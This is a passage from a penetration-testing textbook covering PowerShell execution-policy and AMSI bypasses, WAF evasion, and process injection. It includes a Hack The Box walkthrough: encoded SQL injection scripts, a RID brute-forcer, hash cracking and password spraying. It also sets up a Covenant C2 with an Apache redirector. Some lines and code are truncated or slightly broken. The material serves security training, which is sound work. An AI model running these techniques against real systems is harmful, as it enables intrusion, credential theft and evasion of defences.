1 PS C:\Users\oztechmuse\boxes\book> Get-ExecutionPolicy -List


2 Scope ExecutionPolicy
3 ----- ---------------
4 MachinePolicy Undefined
5 UserPolicy Undefined
6 Process Undefined
7 CurrentUser Undefined
8 LocalMachine Unrestricted
hide01.ir
If we set the execution policy as Restricted using the Set-ExecutionPolicy cmdlet (this needs
to be run as Administrator) when we try and run a script we are denied:

1 PS C:\Users\rin\book> echo 'Write-Host "Verify me!"' > runme.ps1


2 PS C:\Users\rin\book> cat .\runme.ps1
3 Write-Host
4 Verify me!
5 PS C:\Users\rin\book> .\runme.ps1
6 .\runme.ps1 : File C:\Users\oztechmuse\rin\runme.ps1 cannot be loaded
7 because running scripts is disabled on
8 this system. For more information, see about_Execution_Policies
9 at https:/go.microsoft.com/fwlink/?LinkID=135170.
10 At line:1 char:1
11 + .\runme.ps1
12 + ~~~~~~~~~~~
13 + CategoryInfo : SecurityError: (:) [], PSSecurityException
14 + FullyQualifiedErrorId : UnauthorizedAccess
15 PS C:\Users\oztechmuse\boxes\book>

Various ways of bypassing this are:

1. Paste the contents into an interactive PowerShell console


2. Echo the script and pipe to a PowerShell standard in:

1 PS C:\Users\rin\book> echo 'Write-Host "Verify me!"' | powershell -noprofi


2 Verify me!

Read the contents of the file and pipe to PowerShell standard in

1 PS C:\Users\oztechmuse\book> Get-Content .\runme.ps1 | PowerShell.exe -nop


2 Verify me!

Download the script from a web server and execute using Invoke Expression
hide01.ir
1 IEX(New-Object Net.WebClient).downloadString("http://192.168.114.2/runme.p
2 Verify me!

Encode the command as Base64 and pass it to PowerShell using the -EncodedCommand
flag

1 PS C:\Users\rin\book> $command = "Write-Host 'Verify me!'"


2 PS C:\Users\rin\book> $bytes = [System.Text.Encoding]::Unicode.GetBytes($c
3 PS C:\Users\rin\book> $encodedCommand = [Convert]::ToBase64String($bytes)
4 PS C:\Users\rin\book> $encodedCommand
5 VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcA
6 AHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7 PS C:\Users\rin\book> powershell -Enc $encodedCommand
8 My voice is my passport, verify me.

Use the -ExecutionPolicy Bypass flag

Incidentally, if you want to encode a PowerShell command on Linux, you need to use the
UTF little endian encoding (--to-code UTF_16LE) first:

echo "Write-Host 'Verify me!'" | iconv --to-code UTF-16LE | base64 -w 0

The -w 0 flag makes sure the output is all on one line.

Bypassing AMSI

Nishang includes a PowerShell script Invoke-AmsiBypass.ps1 that will use a variety of


methods to bypass AMSI. According to the script, these methods are:

1. "unload": Unloading AMSI from current PowerShell session using a technique


developed by Matt Graeber.
hide01.ir
2. "unload2": Another technique of unloading AMSI from current PowerShell session
developed by Matt Graeber
3. "unloadsilent": Third technique of unloading AMSI that avoids Windows Management
Framework (WMF5) logging (author Matt Graeber).
4. "unloadobfuscated": Unload method in 1 but obfuscated using Invoke-Obfuscation
(Daniel Bohannon) to try and avoid WMF5 logging.
5. "dllhijack": A method to hijack the ams.dll (Cornelis de Plaa
https://github.com/Cn33liz/p0wnedShell)
. "psv2": If PowerShell version 2 is available, it will downgrade to that since it doesn't
support AMSI.

If the command is run as Invoke-AmsiBypass -Verbose, it will run the unloadsilent method.
Otherwise, specific methods can be called by specifying the method as a parameter for the
cmdlet Invoke-PsUACme -Method <method name> -Verbose.

The Invoke-Obfuscation module that was mentioned above


(https://github.com/danielbohannon/Invoke-Obfuscation) allows for PowerShell scripts to
be obfuscated in a number of different ways. To use, you need to run:

1 Import-Module ./Invoke-Obfuscation.psd1
2 Invoke-Obfuscation

This will present a menu from which you can set a SCRIPTPATH variable to the script you
want to obfuscate:

1 Invoke-Obfuscation\Token\String> SET SCRIPTPATH .\runme.ps1


2 Successfully set ScriptPath:

We can then select options for obfuscation. Taking the defaults, we can obfuscate strings
and commands in the script by inserting tick marks between characters and concatenating
the results:

w`RI`TE-Ho`st ('Ve'+'rify m'+'e'+'!')


hide01.ir
In some cases, it is enough to remove help strings from a file and change the method
names. In every case it is important to test on the specific environment of the target
machine, although hopefully not on the machine itself as this would leave log events that
could be detected.

Bypassing Web Application Firewalls

Web Application Firewalls (WAFs) inspect and filter HTTP traffic. It can operate as a bridge,
router, reverse proxy or be embedded in the web server. It can handle SSL by either
terminating the SSL connection or by knowing the SSL private key, can decrypt the traffic.
WAFs can be configured to block traffic from a specific IP address or IP addresses, block
traffic depending on the pattern of requests (e.g. in the case of someone fuzzing the
website or brute forcing) or inspect the request and check for malicious contents such as
SQL injection. In addition, WAFs can enforce restrictions and checks on cookies, HTTP
headers, hidden fields, form elements and sessions.

As with the example of AMSI, WAFs can be bypassed using a range of encodings and
manipulations of request text. The first step is identifying the WAF if possible. This will give
you the types and mechanisms of the protections it offers. YOu can do this using a tool
such as wafw00f (https://github.com/EnableSecurity/wafw00f) although this has not been
maintained recently and so may not work on more recent WAFs.

Basic techniques for bypass of a WAF include:

limiting the rate of requests if fuzzing or brute forcing so as not to trigger being
blocked.
Changing text case: e.g. sELecT * fRoM * wHEre userid = 'john'
URL encode all text using %encoding
Use Unicode encoding of text \u0070 instead of character 'p'
Use HTML encoding
Insert comment strings e.g. /?id=1+un/**/ion+sel/**/ect+1,2--
Double encoding
Insert line breaks to terminate pattern matching e.g. %0A
hide01.ir
Use wildcard characters such as ?

There are a range of other alternatives that can be tried but the important thing is to
experiment and observe how the WAF and the website itself responds to each attempt.

.
hide01.ir
Exercise: Bypassing a WAF on Multimaster
We have encountered this machine before when we exploited it using an unintended
vulnerability called Zerologon (see page XX). This time we will do this the intended way
which because the machine was rated as "insane" is quite involved. Multimaster is a
Windows box that hosts a website on port 80 called the MegaCorp Employee Hub.
Enumeration of the site reveals an API endpoint that allows for the search of staff in the
organization. When checking if the API is SQL injectable, the web server (or rather the WAF)
returns 403 Forbidden errors. Changing the encoding to UTF-16 bypasses the WAF and the
API is then SQL injectable. At this point, the MS SQL server can be enumerated manually, or
by using sqlmap and a "tamper script" which can bypass the WAF.

An nmap scan returns:

1 PORT STATE SERVICE VERSION


2 53/tcp open domain Simple DNS Plus
3 80/tcp open http Microsoft IIS httpd 10.0
4 |_http-favicon: Unknown favicon MD5: 6944F7C42798BE78E1465F1C49B5BF04
5 | http-methods:
6 | Supported Methods: GET HEAD OPTIONS TRACE
7 |_ Potentially risky methods: TRACE
8 |_http-server-header: Microsoft-IIS/10.0
9 |_http-title: MegaCorp
10 88/tcp open kerberos-sec Microsoft Windows Kerberos (server
11 time: 2021-01-22 04:41:14Z)
12 135/tcp open msrpc Microsoft Windows RPC
13 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
14 389/tcp open ldap Microsoft Windows Active Directory
15 LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
16 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
17 (workgroup: MEGACORP)
18 464/tcp open kpasswd5?
19 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
20 636/tcp open tcpwrapped
21 3268/tcp open ldap Microsoft Windows Active Directory LDAP
22 (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
23 3269/tcp open tcpwrapped
24 3389/tcp open ms-wbt-server Microsoft Terminal Services
25 | rdp-ntlm-info:
26 | Target_Name: MEGACORP
27 | NetBIOS_Domain_Name: MEGACORP
28 | NetBIOS_Computer_Name: MULTIMASTER
29 | DNS_Domain_Name: MEGACORP.LOCAL
30
hide01.ir
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
31 | DNS_Tree_Name: MEGACORP.LOCAL
32 | Product_Version: 10.0.14393
33 |_ System_Time: 2021-01-22T04:42:09+00:00
34 | ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
35 | Issuer: commonName=MULTIMASTER.MEGACORP.LOCAL
36 | Public Key type: rsa
37 | Public Key bits: 2048
38 | Signature Algorithm: sha256WithRSAEncryption
39 | Not valid before: 2021-01-21T04:33:27
40 | Not valid after: 2021-07-23T04:33:27
41 | MD5: 4497 7426 8588 039d 4aa5 8baa 1630 d7bb
42 |_SHA-1: 2eab 0323 400d 0794 b2f3 3ee1 a964 fffd 0b11 fe80
43 |_ssl-date: 2021-01-22T04:42:46+00:00; +7m00s from scanner time.
44 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
45 |_http-server-header: Microsoft-HTTPAPI/2.0
46 |_http-title: Not Found
47 9389/tcp open mc-nmf .NET Message Framing
48 49666/tcp open msrpc Microsoft Windows RPC
49 49667/tcp open msrpc Microsoft Windows RPC
50 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51 49675/tcp open msrpc Microsoft Windows RPC
52 49698/tcp open msrpc Microsoft Windows RPC
53 49741/tcp open msrpc Microsoft Windows RPC
54 Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:window
55 Host script results:
56 |_clock-skew: mean: 1h43m00s, deviation: 3h34m41s, median: 6m59s
57 | smb-os-discovery:
58 | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3
59 | Computer name: MULTIMASTER
60 | NetBIOS computer name: MULTIMASTER\x00
61 | Domain name: MEGACORP.LOCAL
62 | Forest name: MEGACORP.LOCAL
63 | FQDN: MULTIMASTER.MEGACORP.LOCAL
64 |_ System time: 2021-01-21T20:42:09-08:00
65 | smb-security-mode:
66 | account_used: <blank>
67 | authentication_level: user
68 | challenge_response: supported
69 |_ message_signing: required
70 | smb2-security-mode:
71 | 2.02:
72 |_ Message signing enabled and required
73 | smb2-time:
74 | date: 2021-01-22T04:42:10
75 |_ start_date: 2021-01-22T04:33:36
hide01.ir
The box is a domain controller with the domain MEGACORP.LOCAL. It ias IIS running on
port 80 and if we go to the site, we get a site called MegaCorp Empoyee Hub as shown here.

Home page of Multimaster machine on port 80

Going to the Colleague Finder menu option we find a page that allows for searches uing the
search box
hide01.ir
Colleague Finder page with search input box

Using Burp Suite and sending a search request caught by the proxy interceptor to the
repeater, we get the ouput here:

Colleague Finder page with search input box

Sending a quote character in the name field results in a "403 Forbidden" being returned. If
we encode it as UTF-16 and send the encoded character "\u0027", it comes back with a 200
OK. To confirm that this is injectable, we will send the input "' or 1=1-- -". This will add a
clause to the query being used by the application that will always be true and so we would
expect all of the results to be returned. To send that, we need to send the encoded form:

"\u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d"

Sending this in Burp, we do indeed get all of the results back.


hide01.ir

Results of sending the encoded injection ' or 1=1-- -' to Multimaster API endpoint

To enumerate this manually, we are going to write a simple Python 3 script that will set up a
command prompt that we can type injections into. The script will take this input and do a
POST to the API and then format the response. This will make the entire process much
quicker than manually converting the input text and pasting it into Burp. This is the code:

1 #!/usr/bin/python3
2
3 import requests
4 import json
5 from cmd import Cmd
6
7 RHOST = "http://multimaster.htb/api/getColleagues"
8
9 class Terminal(Cmd):
10
11 def __init__(self):
12 self.prompt = '> '
13 Cmd.__init__(self)
14
hide01.ir
15 def default(self, args):
16 converted_cmd = ''
17 for i in args:
18 converted_cmd += "\\u00"+hex(ord(i)).split('x')[1]
19
20 print(f"[*] Sending {converted_cmd}\n")
21 data = "{\"name\": \"" + converted_cmd + "\"}"
22 headers = {'Content-Type': 'application/json;charset=utf-8'}
23
24 response = requests.post(RHOST, headers=headers, data)
25
26 json_response = json.loads(response.text)
27 print(json.dumps(json_response, indent=4, sort_keys=True))
28
29 terminal = Terminal()
30

The "cmd" module handles the loop and capturing input when entered. It is passed to the
default method as the parameter args. The first part of this converts each character in the
input into its ASCII code and then appends that to "\u00". The entire string is then sent as
part of a JSON request to the server. The response is JSON and we can use the json
module in Python to print out the response indented.

The first thing we will do with this is to see how many columns are returned in the query.
There are 5 values in the JSON returned normally and so we know that there are at least 5
columns. We can test this by using the injection "' order by 5-- -"

1 ┌─[✗]─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $./inject.py
3 > ' order by 5-- -
4 [*] Sending \u0027\u0020\u006f\u0072\u0064\u0065\u0072\u0020\u0062
5 \u0079\u0020\u0035\u002d\u002d\u0020\u002d
6 [
7 {
8 "email": "[email protected]",
9 "id": 15,
10 "name": "Alessandro Dominguez",
11 "position": "Senior Web Developer",
12 "src": "aldom.jpg"
13 },
14 {
15 "email": "[email protected]",
16 "id": 11,
17
hide01.ir
"name": "Alyx Walters",
18 "position": "Automation Engineer",
19 "src": "alyx.jpg"
20 },

That works, so let us try 6:

1 > ' order by 6-- -


2 [*] Sending \u0027\u0020\u006f\u0072\u0064\u0065\u0072\u0020\u0062
3 \u0079\u0020\u0036\u002d\u002d\u0020\u002d
4 null

That gave us a null result and so we know that the query being used is only selecting the 5
columns. We can now use a UNION select to submit our own SQL queries. Since this is a
Windows box, we can assume that the database is MS SQL Server. Using the Cheat Sheet
at PayloadsAllTheThings
(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/M
SSQL%20Injection.md), we can get the database version and database name by using the
query:

1 > a' union select 1,@@version,db_name(),'4','5'--


2 [*] Sending \u0074\u0065\u0073\u0074\u0027\u0020\u0075\u006e\u0069
3 \u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074
4 \u0020\u0031\u002c\u0040\u0040\u0076\u0065\u0072\u0073
5 \u0069\u006f\u006e\u002c\u0064\u0062\u005f\u006e\u0061
6 \u006d\u0065\u0028\u0029\u002c\u0027\u0034\u0027\u002c
7 \u0027\u0035\u0027\u002d\u002d
8 [
9 {
10 "email": "4",
11 "id": 1,
12 "name": "Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) \n\tAug 22
13 2017 17:04:49 \n\tCopyright (C) 2017 Microsoft Corporation\n\tSt
14 Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64>
15 (Build 14393: ) (Hypervisor)\n",
16 "position": "Hub_DB",
17 "src": "5"
18 }
19 ]
hide01.ir
So we have confirmed that it is SQL Server and the database name is Hub_DB. We can get
the table names from the database using

1 > a' UNION SELECT 1,table_name,3,4,5 FROM INFORMATION_SCHEMA.TABLES-- -


2 …
3 [
4 {
5 "email": "4",
6 "id": 1,
7 "name": "Colleagues",
8 "position": "3",
9 "src": "5"
10 },
11 {
12 "email": "4",
13 "id": 1,
14 "name": "Logins",
15 "position": "3",
16 "src": "5"
17 }
18 ]

This gives us two tables, Colleauges and Logins. Let's look at Logins and find the column
names:

1 > a' UNION SELECT 1,name,3,4,5 FROM syscolumns WHERE id=(SELECT id


2 FROM sysobjects WHERE name = 'Logins')-- -
3 …
4 [
5 {
6 "email": "4",
7 "id": 1,
8 "name": "id",
9 "position": "3",
10 "src": "5"
11 },
12 {
13 "email": "4",
14 "id": 1,
15 "name": "password",
16 "position": "3",
17 "src": "5"
18 },
19 {
hide01.ir
20 "email": "4",
21 "id": 1,
22 "name": "username",
23 "position": "3",
24 "src": "5"
25 }
26 ]

This returns three columns: id, password and username. We can now select all contents of
the database:

1 > a' union select 1,username,password,4,5 from logins-- -


2 …
3 [
4 {
5 "email": "4",
6 "id": 1,
7 "name": "aldom",
8 "position": "9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e860
9 60e768d97be2d20d79dbccbe242c2244e5739",
10 "src": "5"
11 },
12 {
13 "email": "4",
14 "id": 1,
15 "name": "alyx",
16 "position": "fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2
17 f244f7fc80dd2928e648465b8e7a1946a50cfa",
18 "src": "5"
19 },
20 …
21 ]

To make it return just the name and position fields, we can alter the script to just return the
username and password fields. So the print code would be

1 for resp in json_response:


2 print(f"{resp['name']}:{resp['position']}")
3 And this returns:
4 > a' union select 1,username,password,4,5 from logins-- -
5
hide01.ir
aldom:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d
6 97be2d20d79dbccbe242c2244e5739
7 alyx:fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc8
8 0dd2928e648465b8e7a1946a50cfa
9 ckane:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f712
10 01fbacc3edb639eed4e954ce5f0813
11 cyork:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d
12 97be2d20d79dbccbe242c2244e5739
13 egre55:cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53ed
14 d986b64bf715d0a2df0015fd090babc
15 …

Looking at these hases using an online site, it is identified as possibly Keccak-384 or SHA3-
384 or SHA-384. We can use hashcat to try and crack the hashes. The mode for Keccak-384
is 17900 (you can use hashcat --example-hashes to list all hash types). If we try that, it
succeeds in cracking 3 of them:

1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $hashcat -a 0 -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt
3 hashcat (v6.1.1) starting...
4 …
5 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20
6 79dbccbe242c2244e5739:password1
7 68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3
8 edb639eed4e954ce5f0813:finance1
9 fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928
10 e648465b8e7a1946a50cfa:banking1

We have found 3 passwords of password1, finance1 and banking1. Getting all of the
usernames from the table and usernames from the email addresses of the staff from the
website, we can try and password spray each of these passwords with crackmapexec:

1 ┌─[rin@parrot]─[/home/rin/boxes/Multimaster]
2 └──╼ #crackmapexec smb multimaster.htb -u users.txt -p passwords.txt
3 SMB 10.129.1.125 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x6
4 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
5 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:password1
6 STATUS_LOGON_FAILURE
7 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:finance1
8 STATUS_LOGON_FAILURE
9
hide01.ir
SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:banking1
10 STATUS_LOGON_FAILURE
11 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\aldom:
12 STATUS_LOGON_FAILURE
13 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\alyx:password1
14 STATUS_LOGON_FAILURE
15 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\alyx:finance1
16 STATUS_LOGON_FAILURE
17 <SNIP…>

Unfortunately that doesn't work. So we need to find more users. In MS SQL Server, there is a
function that allows you to interrogate information about Active Directory users. Namely,
we can use SUSER_SID('MEGACORP\Administrator') to return the SID of a user. Remember
from the explanation of a SID that it is made up of the domain SID and the user RID. We
can use another function SUSER_SNAME to take a SID and return a username. This allows
us to brute force usernames by incrementing the RID from the value of Administrator which
is usually the first user, to a large number. Just to show this working,

1 > a' union select 1,2,3,4,master.dbo.fn_varbintohexstr(


2 SUSER_SID('MEGACORP\Administrator'))-- -
3 [
4 {
5 "email": "4",
6 "id": 1,
7 "name": "2",
8 "position": "3",
9 "src": "0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000"
10 }
11 ]

Of this number, the last 4 bytes are the RID in little endian format. That makes the RID for
Administrator 0x01f4 which is 500. We will modify the script we wrote to do the brute force
for us. Just to show the reverse side of this, getting a username from the SID, we can use
the SID from Administrator as follows:

1 > a' union select 1,2,3,4,SUSER_SNAME(0x0105000000000005150000001c00


2 d1bcd181f1492bdfc236f4010000)-- -
3 [
4 {
5 "email": "4",
hide01.ir
6 "id": 1,
7 "name": "2",
8 "position": "3",
9 "src": "MEGACORP\\Administrator"
10 }
11 ]

Modifying the code to create a new script to run through SIDs from 1000 upwards, we get
the following code:

1 #!/usr/bin/python3
2
3 import requests
4 import json
5 import struct
6
7 RHOST = "http://multimaster.htb/api/getColleagues"
8
9 def get_sid(n):
10 domain_sid = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
11 rid = struct.pack('<I', n).hex()
12 return f"{domain_sid}{rid}"
13
14 def do_rid():
15 starting_rid = 1000
16
17 for i in range(starting_rid, starting_rid+3000):
18 sid = get_sid(i)
19 data = "a' union select 1,2,3,4,SUSER_SNAME(" + sid + ")-- -"
20 converted_cmd = ''
21 for j in data:
22 converted_cmd += "\\u00"+hex(ord(j)).split('x')[1]
23
24 encoded_data = "{\"name\": \"" + converted_cmd + "\"}"
25 headers = {'Content-Type': 'application/json;charset=utf-8'}
26 response = requests.post(RHOST,
27 headers=headers,
28 data=converted_data
29 )
30
31 try:
32 json_response = json.loads(response.text)
33
34 for resp in json_response:
35 if resp['src'] != '':
36
hide01.ir
print(f"{i}: {resp['src']}")
37 except:
38 pass
39 do_rid()
40

This gives us the following usernames:

1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $./bruterid.py
3 1000: MEGACORP\MULTIMASTER$
4 1101: MEGACORP\DnsAdmins
5 1102: MEGACORP\DnsUpdateProxy
6 1103: MEGACORP\svc-nas
7 1105: MEGACORP\Privileged IT Accounts
8 1110: MEGACORP\tushikikatomo
9 1111: MEGACORP\andrew
10 1112: MEGACORP\lana
11 1601: MEGACORP\alice
12 1602: MEGACORP\test

Retrying the previously found passwords with these users, we get a hit with user
tushikikatomo and password finance1:

1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $crackmapexec smb multimaster.htb -u users.txt -p passwords.txt
3 SMB 10.129.1.125 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x6
4 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
5 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:password1
6 STATUS_LOGON_FAILURE
7 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:finance1
8 STATUS_LOGON_FAILURE
9 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:banking1
10 STATUS_LOGON_FAILURE
11 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\svc-nas:
12 STATUS_LOGON_FAILURE
13 SMB 10.129.1.125 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:password
14 STATUS_LOGON_FAILURE
15 SMB 10.129.1.125 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
hide01.ir
Using evil-winrm, we can finally get on the box with those credentials:

1 ┌─[rin@parrot]─[~/boxes/Multimaster]
2 └──╼ $evil-winrm -u tushikikatomo -p 'finance1' -i multimaster.htb
3 Evil-WinRM shell v2.3
4 Info: Establishing connection to remote endpoint
5 *Evil-WinRM* PS C:\Users\alcibiades\Documents>

We will leave this machine there as there is still a way to go to get to root and it is not
relevant to the current chapter
hide01.ir
Process Injection
Process injection is a defense evasion technique on Windows whereby code is run within
the address space of another running process. Meterpreter has a post exploitation function
called migrate. This takes the process ID (PID) of a running process such as svchost.exe
and migrates the currently running shell into that process. It does this[1] through a series of
steps:

1. Gets the PID of the process to migrate into


2. Check whether the target process is 32 or 64 bit
3. Verifies that the running Meterpreter process has the SeDebugPrivilege which is used to
get a "Handle" to the running process
4. Make an API call to get access to the virtual memory of the running process
(OpenProcess()).
5. Allocate memory in the running process with the attributes RWX (Read, Write and
Execute) using the API call VirtualAllocEx().
. Write the shell code to this memory using WriteProcessMemory()
7. Call the CreateRemoteThread() function to get the running process to execute the
memory
. Terminate the previously running Meterpreter process thread.

The migrate function in Metasploit is sometimes referred to as Portable Executable


Injection (PE Injection). There are a range of different approaches to this however that
include techniques such as:

Process hollowing: In this procedure, the attacker creates a new legitimate process in a
suspended state. The code of the legitimate process is unloaded (unmapped) from memory
and replaced with the malicious code. The process thread is made to point to this code and
the process is resumed. This does create a new process but it is from outside appearances
a legitimate process and so may go undetected.

DLL Injection: This procedure maps a link to a malicious DLL within a running processes
memory space and causes it to run a thread using this memory. This technique suffers
from having a DLL on disk where it can be potentially detected.

Process injection is also one of the techniques used to achieve persistence.


hide01.ir
Although we have concentrated on Windows, the process injection is possible on Linux
using the same sort of mechanism as outlined in PE Injection above. On Linux, the
technique uses ptrace(), a system call that allows control of another running process for the
purposes of inspection and debugging. For this reason, the ability of ptrace to call a
process it didn't create is limited on Linux systems and it may be necessary to change this
using the command:

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope

The technique varies in where the malicious code is written with the easiest place to replace
the main() function. This is destructive in that the malicious code can't return to the host
function and so is not absolutely ideal.

Other techniques

There are a range of techniques that can be used to avoid detection and to remove activity
traces. These include:

Hide artifacts
Hide files and directories
Hide a file system
Hide users
Hide windows
Run virtual instance
Disable or modify AV, Firewalls, IDS/IPS
Remove indicators
Clear Windows Event Logs
Clear Linux system logs
Clear command history
Delete files
Remove any connected network shares
Timestomp (alter time creation or modification dates on files or directories to fit in
with other files and directories)
hide01.ir
Many of these techniques don't impact anything that you will do on Hack The Box, but they
are of obvious importance when penetration testing or undertaking red team engagements.
hide01.ir

Chapter 11 Command & Control and Persistence


hide01.ir
Command & Control
Although more commonly associated with malicious adversaries and Red Teaming,
Command and Control (C2) software is essential in a post exploitation environment in
which persistence is required. We have already used Metasploit which is a C2 that is run
locally. However, C2s need to be able to run on server infrastructure that can be hidden
from anyone tracing communications back from a victim's machine. In this chapter, we
will look a Covenant, a C2 written in C# that can be run on Linux as well as Windows. To
not expose the IP address of the C2 server, we will use an HTTP redirector. We will run
through using Covenant creating listeners, launchers and grunts. Getting ownership of
one machine may open up opportunities to reach other devices on attached networks.
Pivoting is the means of establishing network connections to access these remote
networks. We will cover different approaches to

A command-and-control server (C2 or C&C) is a server that is able to communicate with,


and control, software, referred to as an implant, that is running on a victim's device.
Normally the communication between implant and C2 will be indirect, passing through a
redirector located on a different machine, so as to protect the network address and location
of the C2 server. The communication channels between implant and C2 will normally be
encrypted and may use a range of protocols including HTTPS, DNS, FTP and SSH. The C2
normally handles creating and using certificates for encrypted communications. The
redirector is bi-directional, acting as a proxy and reverse-proxy server. Redirectors can be
made to redirect non-C2 traffic to an innocent website. An example of an HTTP redirector
that could be used is Apache.

Implants can be programmed to be persistent, and to communicate with the C2 at set time
intervals.

C2 services can also provide the ability to create implants of various kinds, handle AV and
Firewall evasion and provide monitoring from the implants.

In a normal C2 architecture, the C2 server would be located on its own server with the
communication redirector on a separate machine (or machines). A client would be used to
communicate with the C2 to issue commands and view results and data exfiltrated from
the implants.
hide01.ir
From this definition, Metasploit would be considered a C2. Although we have been running
it interactively on our attack VM, Metasploit can be hosted remotely and run as a service.
Communication with the service is then done through its RPC (Remote Procedure Call)
interface which is as simple as using netcat to connect to it. The majority of Metasploit
modules are proxy-aware and so can be used through a proxy acting as a redirector for
concealment purposes.

C2s can operate independently, programmed to take a course of actions and responses, or
they can be used interactively by one or more attackers. In a red team or penetration test
operation where there may be more than one person attacking a network, collaboration and
sharing of information between team members is important and some C2s offer this type
of collaborative functionality.

Covenant as a C2

We are going to look at Covenant as an example of another type of C2. Covenant is written
in C# and although it can be set up on a Linux host, we will run it on Windows as the setup
is very straightforward. Covenant calls its implants "Grunts" from the US slang of a low-
ranking soldier being called a "grunt". Grunts are created and run by "Launchers" which
allow for the use of different languages (PowerShell or C#), evasion techniques,
communications type, and execution types. Listeners are the same as handlers on
Metasploit. They listen for connections and communicate with grunts sending them Tasks
which are commands to carry out and report back on when complete.

Installing Covenant

To install Covenant, it is simply a matter of cloning the repository from GitHub and running
dotnet build and dotnet run as follows:

1 git clone --recurse-submodules https://github.com/cobbr/Covenant


2 cd Covenant/Covenant
3 dotnet build
4 dotnet run
hide01.ir
If you don't have a development environment on Windows, you can download DotNet Core
(https://dotnet.microsoft.com/download/dotnet-core/3.1) which was the supported version
at the time of writing.

Running Covenant will allow you to navigate to https://127.0.0.1:7443 (you will need to
accept the exception to go to the site as the certificate is not trusted) and create a user

Initial screen of Covenant

Once logged in, you will be presented with a Dashboard that lists all running Grunts,
Listeners and Taskings. A menu on the left allows you to navigate into the different
sections of the application.
hide01.ir

Covenant Dashboard

Before we go into using Covenant, we can set up an Apache redirector. We will do that on
our Parrot box

Setting up an Apache HTTP Redirector

We are going to use Apache as an HTTP redirector. To keep things simple, we will not
configure SSL but of course in a real situation you would do. Also, we could create a
realistic looking website for default traffic coming to the redirector instead of leaving the
Apache default home page.

To start with, we need to enable Apache modules, rewrite, proxy, proxy_http and
proxy_connect:

sudo a2enmod rewrite proxy proxy_http proxy_connect


hide01.ir
We will use the default configuration file to make the changes. This should be active but to
make sure, we can use the command to enable that site:

sudo a2ensite 000-default.conf

Before we make changes to this file, we need to know the paths that we are going to use. If
we go into Covenant and click on the Listeners item in the menu and then select Profiles,
you will see a list of possible profiles you can use. Clicking on the DefaultHttpProfile, there
is a list of URLs that Covenant will use to communicate between Grunt and Listener:

1 /en-us/index.html
2 /en-us/docs.html
3 /en-us/test.html

These could be changed but we will leave them for now. So in the configuration file for
Apache, we can add the following lines just under the logging section of the configuration

1 <VirtualHost *:80>
2 ServerAdmin webmaster@localhost
3 DocumentRoot /var/www/html
4 ErrorLog ${APACHE_LOG_DIR}/error.log
5 CustomLog ${APACHE_LOG_DIR}/access.log combined
6 ProxyRequests off
7 ProxyPass /en-us/index.html http://192.168.114.3/en-us/index.html
8 ProxyPass /en-us/docs.html http://192.168.114.3/en-us/docs.html
